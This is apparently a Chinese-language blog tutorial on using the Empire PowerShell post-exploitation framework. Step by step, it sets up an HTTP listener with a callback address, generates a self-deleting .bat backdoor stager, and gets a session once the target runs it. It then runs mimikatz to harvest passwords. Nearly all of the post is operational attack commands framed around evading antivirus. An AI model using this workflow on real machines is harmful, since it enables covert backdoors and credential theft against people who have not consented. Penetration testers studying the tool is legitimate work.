内网渗透绕过查杀的一种新思路之Empire

逍遥子大表哥

发布于 2021-12-17 18:34:10

5330

发布于 2021-12-17 18:34:10

文章被收录于专栏：kali blog

介绍

昨天在github中看到一个项目，觉得有点意思，在这里写份教程。Empire一款基于PowerShell的后渗透测试工具。

安装

git clone https://github.com/EmpireProject/Empire.git

Empiresetup目录执行install.sh文件

./install.sh

最后设置数据库密码那里可以默认回车，也可以自己设置

踩坑

如果安装途中，遇到网络问题，多次执行./install.sh文件安装全部依赖，运行主目录下empire启动程序前，先执行setup目录下的reset.sh后再执行主目录empire文件。

使用

监听

(Empire)> listeners

选择监听方式

(Empire: listeners) > uselistener http

查看需要配置的选项

Empire: listeners/http) > info

设置监听的名字

(Empire: listeners/http) > set Name backdoor

(Empire: listeners/http) > set Host http://192.168.80.131:4447             #设置木马反弹回连地址

(Empire: listeners/http) > set Port 4447 #设置本地监听端口
Empire: listeners/http) > execute     #执行监听

至此，监听工作完成。我们开始配置生成后门。

生成木马

(Empire: listeners/http) > back #返回上层模块
(Empire: listeners) > usestager windows/launcher_bat backdoor  #选择木马种类

这里我选择的是bat类型的脚本，当然你们可以选择其他的。后面的backdoor就是刚刚我们设置的监听，这个模块就是依据监听的配置信息，生成相应的木马，让反弹马找到连接主机。

(Empire: stager/windows/launcher_bat) > info     #查看需要配置的

你可以set OutFile 到你指定的目录（绝对路径）

(Empire: stager/windows/launcher_bat) > execute  #执行生成木马

拷贝运行木马、

弹出一个黑框后，它自动消失了，是因为我们刚才生成backdoor的时候其中一个选项delete设置的True，运行结束后删除自身。

点击完我们的backdoor之后，我们回到我们的机器可以看到已经获取到了客户端的一个会话。

(Empire: stager/windows/launcher_bat) > agents   #查看获取的代理会话

一个会话已经建立完成。

(Empire: agents) > rename HZFT7AX1 win7pro #更改会话名字

建立会话

interact kali

查看密码

mimikatz

更多命令，点击help

版权属于：逍遥子大表哥

本文链接：https://cloud.tencent.com/developer/article/1920898

按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。

本文参与腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。

如有侵权请联系 cloudcommunity@tencent.com 删除

bash

bash 指令

网络安全

本文分享自作者个人站点/博客前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

bash

bash 指令

网络安全

登录后参与评论

0 条评论

热度